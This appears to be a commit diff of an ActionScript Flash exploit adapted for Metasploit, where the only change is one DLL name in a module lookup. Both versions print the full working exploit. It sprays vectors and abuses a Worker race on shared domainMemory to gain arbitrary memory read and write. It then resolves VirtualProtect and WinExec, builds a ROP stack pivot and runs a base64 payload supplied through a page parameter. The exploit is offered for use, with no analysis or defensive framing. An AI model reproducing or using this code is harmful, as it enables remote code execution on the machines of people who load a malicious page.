10
10
// Modified to be used from msf
11
11
package
12
12
{
13
- import flash.display.Sprite
14
- import flash.display.LoaderInfo
15
- import flash.events.Event
16
- import flash.utils.ByteArray
17
- import flash.system.Worker
18
- import flash.system.WorkerDomain
19
- import flash.system.MessageChannel
20
- import flash.system.ApplicationDomain
21
- import avm2.intrinsics.memory.casi32
22
- import mx.utils.Base64Decoder
23
-
24
- public class Main extends Sprite
25
- {
26
- private var ov: Vector .< Object > = new Vector .< Object > (25600 )
27
- private var uv: Vector .< uint > = new Vector .< uint >
28
- private var ba: ByteArray = new ByteArray ()
29
- private var worker: Worker
30
- private var mc: MessageChannel
31
- private var b64: Base64Decoder = new Base64Decoder ()
32
- private var payload: String = ""
33
-
34
- public function Main ()
35
- {
36
- if (Worker. current . isPrimordial) mainThread()
37
- else workerThread()
38
- }
39
-
40
- private function mainThread ():void
41
- {
42
- b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
43
- payload = b64. toByteArray (). toString ()
44
-
45
- ba. length = 0x1000
46
- ba. shareable = true
47
- for (var i: uint = 0 ; i < ov. length ; i++ ) {
48
- ov[ i] = new Vector .< Object > (1014 )
49
- ov[ i][ 0 ] = ba
50
- ov[ i][ 1 ] = this
51
- }
52
- for (i = 0 ; i < ov. length ; i += 2 ) delete (ov[ i] )
53
- worker = WorkerDomain. current . createWorker(this . loaderInfo . bytes )
54
- mc = worker. createMessageChannel(Worker. current )
55
- mc. addEventListener (Event . CHANNEL_MESSAGE , onMessage)
56
- worker. setSharedProperty("mc" , mc)
57
- worker. setSharedProperty("ba" , ba)
58
- ApplicationDomain . currentDomain . domainMemory = ba
59
- worker. start ()
60
- }
61
-
62
- private function workerThread ():void
63
- {
64
- var ba: ByteArray = Worker. current . getSharedProperty("ba" )
65
- var mc: MessageChannel = Worker. current . getSharedProperty("mc" )
66
- ba. clear ()
67
- ov[ 0 ] = new Vector .< uint > (1022 )
68
- mc. send ("" )
69
- while (mc. messageAvailable);
70
- ov[ 0 ][ 0 ] = ov[ 0 ][ 0x403 ] - 0x18 - 0x1000
71
- ba. length = 0x500000
72
- var buffer: uint = vector_read(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 8 ) + 0x100000
73
- var main: uint = ov[ 0 ][ 0x409 ] - 1
74
- var vtable: uint = vector_read(main)
75
- vector_write(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 8 )
76
- vector_write(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 16 , 0xffffffff )
77
- mc. send (ov[ 0 ][ 0 ] . toString () + "/" + buffer. toString () + "/" + main. toString () + "/" + vtable. toString ())
78
- }
79
-
80
- private function onMessage (e :Event ):void
81
- {
82
- casi32(0 , 1022 , 0xFFFFFFFF )
83
- if (ba. length != 0xffffffff ) mc. receive ()
84
- else {
85
- ba. endian = "littleEndian"
86
- var data : Array = (mc. receive () as String ). split ("/" )
87
- byte_write(parseInt (data [ 0 ] ))
88
- var buffer: uint = parseInt (data [ 1 ] ) as uint
89
- var main: uint = parseInt (data [ 2 ] ) as uint
90
- var vtable: uint = parseInt (data [ 3 ] ) as uint
91
- var flash: uint = base (vtable)
92
- var ieshims: uint = module ("kernel32.dll" , flash)
93
- var kernel32: uint = module ("kernel32.dll" , ieshims)
94
-
95
- var virtualprotect: uint = procedure("VirtualProtect" , kernel32)
96
- var winexec: uint = procedure("WinExec" , kernel32)
97
- var xchgeaxespret: uint = gadget("c394" , 0x0000ffff , flash)
98
- var xchgeaxesiret: uint = gadget("c396" , 0x0000ffff , flash)
99
-
100
- //CoE
101
- byte_write(buffer + 0x30000 , "\x b8" , false ); byte_write(0 , vtable, false ) // mov eax, vtable
102
- byte_write(0 , "\x bb" , false ); byte_write(0 , main, false ) // mov ebx, main
103
- byte_write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
104
- byte_write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi # ret
105
-
106
- byte_write(buffer+ 0x200 , payload);
107
- byte_write(buffer + 0x20070 , xchgeaxespret)
108
- byte_write(buffer + 0x20000 , xchgeaxesiret)
109
- byte_write(0 , virtualprotect)
110
-
111
- // VirtualProtect
112
- byte_write(0 , winexec)
113
- byte_write(0 , buffer + 0x30000 )
114
- byte_write(0 , 0x1000 )
115
- byte_write(0 , 0x40 )
116
- byte_write(0 , buffer + 0x100 )
117
-
118
- // WinExec
119
- byte_write(0 , buffer + 0x30000 )
120
- byte_write(0 , buffer + 0x200 )
121
- byte_write(0 )
122
-
123
- byte_write(main, buffer + 0x20000 )
124
- toString ()
125
- }
126
- }
127
-
128
- private function vector_write (addr :uint , value :uint = 0 ):void
129
- {
130
- addr > ov[ 0 ][ 0 ] ? ov[ 0 ][ (addr - uv[ 0 ] ) / 4 - 2 ] = value : ov[ 0 ][ 0xffffffff - (ov[ 0 ][ 0 ] - addr) / 4 - 1 ] = value
131
- }
132
-
133
- private function vector_read (addr :uint ):uint
134
- {
135
- return addr > ov[ 0 ][ 0 ] ? ov[ 0 ][ (addr - ov[ 0 ][ 0 ] ) / 4 - 2 ] : ov[ 0 ][ 0xffffffff - (ov[ 0 ][ 0 ] - addr) / 4 - 1 ]
136
- }
137
-
138
- private function byte_write (addr :uint , value :* = 0 , zero :Boolean = true ):void
139
- {
140
- if (addr) ba. position = addr
141
- if (value is String ) {
142
- for (var i: uint ; i < value . length ; i++ ) ba. writeByte (value . charCodeAt (i))
143
- if (zero) ba. writeByte (0 )
144
- } else ba. writeUnsignedInt (value )
145
- }
146
-
147
- private function byte_read (addr :uint , type :String = "dword" ):uint
148
- {
149
- ba. position = addr
150
- switch (type ) {
151
- case "dword" :
152
- return ba. readUnsignedInt ()
153
- case "word" :
154
- return ba. readUnsignedShort ()
155
- case "byte" :
156
- return ba. readUnsignedByte ()
157
- }
158
- return 0
159
- }
160
-
161
- private function base (addr :uint ):uint
162
- {
163
- addr &= 0xffff0000
164
- while (true ) {
165
- if (byte_read(addr) == 0x00905a4d ) return addr
166
- addr -= 0x10000
167
- }
168
- return 0
169
- }
170
-
171
- private function module (name :String , addr :uint ):uint
172
- {
173
- var iat: uint = addr + byte_read(addr + byte_read(addr + 0x3c ) + 0x80 ), i: int = - 1
174
- while (true ) {
175
- var entry: uint = byte_read(iat + (++ i) * 0x14 + 12 )
176
- if (! entry) throw new Error ("FAIL!" );
177
- ba. position = addr + entry
178
- if (ba. readUTFBytes (name . length ). toUpperCase () == name . toUpperCase ()) break
179
- }
180
- return base (byte_read(addr + byte_read(iat + i * 0x14 + 16 )))
181
- }
182
-
183
- private function procedure (name :String , addr :uint ):uint
184
- {
185
- var eat: uint = addr + byte_read(addr + byte_read(addr + 0x3c ) + 0x78 )
186
- var numberOfNames: uint = byte_read(eat + 0x18 )
187
- var addressOfFunctions: uint = addr + byte_read(eat + 0x1c )
188
- var addressOfNames: uint = addr + byte_read(eat + 0x20 )
189
- var addressOfNameOrdinals: uint = addr + byte_read(eat + 0x24 )
190
- for (var i: uint = 0 ; ; i++ ) {
191
- var entry: uint = byte_read(addressOfNames + i * 4 )
192
- ba. position = addr + entry
193
- if (ba. readUTFBytes (name . length + 2 ). toUpperCase () == name . toUpperCase ()) break
194
- }
195
- return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2 , "word" ) * 4 )
196
- }
197
-
198
- private function gadget (gadget :String , hint :uint , addr :uint ):uint
199
- {
200
- var find: uint = 0
201
- var limit: uint = byte_read(addr + byte_read(addr + 0x3c ) + 0x50 )
202
- var value : uint = parseInt (gadget, 16 )
203
- for (var i: uint = 0 ; i < limit - 4 ; i++ ) if (value == (byte_read(addr + i) & hint)) break
204
- return addr + i
205
- }
206
- }
13
+ import flash.display.Sprite
14
+ import flash.display.LoaderInfo
15
+ import flash.events.Event
16
+ import flash.utils.ByteArray
17
+ import flash.system.Worker
18
+ import flash.system.WorkerDomain
19
+ import flash.system.MessageChannel
20
+ import flash.system.ApplicationDomain
21
+ import avm2.intrinsics.memory.casi32
22
+ import mx.utils.Base64Decoder
23
+
24
+ public class Main extends Sprite
25
+ {
26
+ private var ov: Vector .< Object > = new Vector .< Object > (25600 )
27
+ private var uv: Vector .< uint > = new Vector .< uint >
28
+ private var ba: ByteArray = new ByteArray ()
29
+ private var worker: Worker
30
+ private var mc: MessageChannel
31
+ private var b64: Base64Decoder = new Base64Decoder ()
32
+ private var payload: String = ""
33
+
34
+ public function Main ()
35
+ {
36
+ if (Worker. current . isPrimordial) mainThread()
37
+ else workerThread()
38
+ }
39
+
40
+ private function mainThread ():void
41
+ {
42
+ b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
43
+ payload = b64. toByteArray (). toString ()
44
+
45
+ ba. length = 0x1000
46
+ ba. shareable = true
47
+ for (var i: uint = 0 ; i < ov. length ; i++ ) {
48
+ ov[ i] = new Vector .< Object > (1014 )
49
+ ov[ i][ 0 ] = ba
50
+ ov[ i][ 1 ] = this
51
+ }
52
+ for (i = 0 ; i < ov. length ; i += 2 ) delete (ov[ i] )
53
+ worker = WorkerDomain. current . createWorker(this . loaderInfo . bytes )
54
+ mc = worker. createMessageChannel(Worker. current )
55
+ mc. addEventListener (Event . CHANNEL_MESSAGE , onMessage)
56
+ worker. setSharedProperty("mc" , mc)
57
+ worker. setSharedProperty("ba" , ba)
58
+ ApplicationDomain . currentDomain . domainMemory = ba
59
+ worker. start ()
60
+ }
61
+
62
+ private function workerThread ():void
63
+ {
64
+ var ba: ByteArray = Worker. current . getSharedProperty("ba" )
65
+ var mc: MessageChannel = Worker. current . getSharedProperty("mc" )
66
+ ba. clear ()
67
+ ov[ 0 ] = new Vector .< uint > (1022 )
68
+ mc. send ("" )
69
+ while (mc. messageAvailable);
70
+ ov[ 0 ][ 0 ] = ov[ 0 ][ 0x403 ] - 0x18 - 0x1000
71
+ ba. length = 0x500000
72
+ var buffer: uint = vector_read(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 8 ) + 0x100000
73
+ var main: uint = ov[ 0 ][ 0x409 ] - 1
74
+ var vtable: uint = vector_read(main)
75
+ vector_write(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 8 )
76
+ vector_write(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 16 , 0xffffffff )
77
+ mc. send (ov[ 0 ][ 0 ] . toString () + "/" + buffer. toString () + "/" + main. toString () + "/" + vtable. toString ())
78
+ }
79
+
80
+ private function onMessage (e :Event ):void
81
+ {
82
+ casi32(0 , 1022 , 0xFFFFFFFF )
83
+ if (ba. length != 0xffffffff ) mc. receive ()
84
+ else {
85
+ ba. endian = "littleEndian"
86
+ var data : Array = (mc. receive () as String ). split ("/" )
87
+ byte_write(parseInt (data [ 0 ] ))
88
+ var buffer: uint = parseInt (data [ 1 ] ) as uint
89
+ var main: uint = parseInt (data [ 2 ] ) as uint
90
+ var vtable: uint = parseInt (data [ 3 ] ) as uint
91
+ var flash: uint = base (vtable)
92
+ var ieshims: uint = module ("winmm.dll" , flash)
93
+ var kernel32: uint = module ("kernel32.dll" , ieshims)
94
+
95
+ var virtualprotect: uint = procedure("VirtualProtect" , kernel32)
96
+ var winexec: uint = procedure("WinExec" , kernel32)
97
+ var xchgeaxespret: uint = gadget("c394" , 0x0000ffff , flash)
98
+ var xchgeaxesiret: uint = gadget("c396" , 0x0000ffff , flash)
99
+
100
+ //CoE
101
+ byte_write(buffer + 0x30000 , "\x b8" , false ); byte_write(0 , vtable, false ) // mov eax, vtable
102
+ byte_write(0 , "\x bb" , false ); byte_write(0 , main, false ) // mov ebx, main
103
+ byte_write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
104
+ byte_write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi # ret
105
+
106
+ byte_write(buffer+ 0x200 , payload);
107
+ byte_write(buffer + 0x20070 , xchgeaxespret)
108
+ byte_write(buffer + 0x20000 , xchgeaxesiret)
109
+ byte_write(0 , virtualprotect)
110
+
111
+ // VirtualProtect
112
+ byte_write(0 , winexec)
113
+ byte_write(0 , buffer + 0x30000 )
114
+ byte_write(0 , 0x1000 )
115
+ byte_write(0 , 0x40 )
116
+ byte_write(0 , buffer + 0x100 )
117
+
118
+ // WinExec
119
+ byte_write(0 , buffer + 0x30000 )
120
+ byte_write(0 , buffer + 0x200 )
121
+ byte_write(0 )
122
+
123
+ byte_write(main, buffer + 0x20000 )
124
+ toString ()
125
+ }
126
+ }
127
+
128
+ private function vector_write (addr :uint , value :uint = 0 ):void
129
+ {
130
+ addr > ov[ 0 ][ 0 ] ? ov[ 0 ][ (addr - uv[ 0 ] ) / 4 - 2 ] = value : ov[ 0 ][ 0xffffffff - (ov[ 0 ][ 0 ] - addr) / 4 - 1 ] = value
131
+ }
132
+
133
+ private function vector_read (addr :uint ):uint
134
+ {
135
+ return addr > ov[ 0 ][ 0 ] ? ov[ 0 ][ (addr - ov[ 0 ][ 0 ] ) / 4 - 2 ] : ov[ 0 ][ 0xffffffff - (ov[ 0 ][ 0 ] - addr) / 4 - 1 ]
136
+ }
137
+
138
+ private function byte_write (addr :uint , value :* = 0 , zero :Boolean = true ):void
139
+ {
140
+ if (addr) ba. position = addr
141
+ if (value is String ) {
142
+ for (var i: uint ; i < value . length ; i++ ) ba. writeByte (value . charCodeAt (i))
143
+ if (zero) ba. writeByte (0 )
144
+ } else ba. writeUnsignedInt (value )
145
+ }
146
+
147
+ private function byte_read (addr :uint , type :String = "dword" ):uint
148
+ {
149
+ ba. position = addr
150
+ switch (type ) {
151
+ case "dword" :
152
+ return ba. readUnsignedInt ()
153
+ case "word" :
154
+ return ba. readUnsignedShort ()
155
+ case "byte" :
156
+ return ba. readUnsignedByte ()
157
+ }
158
+ return 0
159
+ }
160
+
161
+ private function base (addr :uint ):uint
162
+ {
163
+ addr &= 0xffff0000
164
+ while (true ) {
165
+ if (byte_read(addr) == 0x00905a4d ) return addr
166
+ addr -= 0x10000
167
+ }
168
+ return 0
169
+ }
170
+
171
+ private function module (name :String , addr :uint ):uint
172
+ {
173
+ var iat: uint = addr + byte_read(addr + byte_read(addr + 0x3c ) + 0x80 ), i: int = - 1
174
+ while (true ) {
175
+ var entry: uint = byte_read(iat + (++ i) * 0x14 + 12 )
176
+ if (! entry) throw new Error ("FAIL!" );
177
+ ba. position = addr + entry
178
+ if (ba. readUTFBytes (name . length ). toUpperCase () == name . toUpperCase ()) break
179
+ }
180
+ return base (byte_read(addr + byte_read(iat + i * 0x14 + 16 )))
181
+ }
182
+
183
+ private function procedure (name :String , addr :uint ):uint
184
+ {
185
+ var eat: uint = addr + byte_read(addr + byte_read(addr + 0x3c ) + 0x78 )
186
+ var numberOfNames: uint = byte_read(eat + 0x18 )
187
+ var addressOfFunctions: uint = addr + byte_read(eat + 0x1c )
188
+ var addressOfNames: uint = addr + byte_read(eat + 0x20 )
189
+ var addressOfNameOrdinals: uint = addr + byte_read(eat + 0x24 )
190
+ for (var i: uint = 0 ; ; i++ ) {
191
+ var entry: uint = byte_read(addressOfNames + i * 4 )
192
+ ba. position = addr + entry
193
+ if (ba. readUTFBytes (name . length + 2 ). toUpperCase () == name . toUpperCase ()) break
194
+ }
195
+ return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2 , "word" ) * 4 )
196
+ }
197
+
198
+ private function gadget (gadget :String , hint :uint , addr :uint ):uint
199
+ {
200
+ var find: uint = 0
201
+ var limit: uint = byte_read(addr + byte_read(addr + 0x3c ) + 0x50 )
202
+ var value : uint = parseInt (gadget, 16 )
203
+ for (var i: uint = 0 ; i < limit - 4 ; i++ ) if (value == (byte_read(addr + i) & hint)) break
204
+ return addr + i
205
+ }
207
206
}
207
+ }
0 commit comments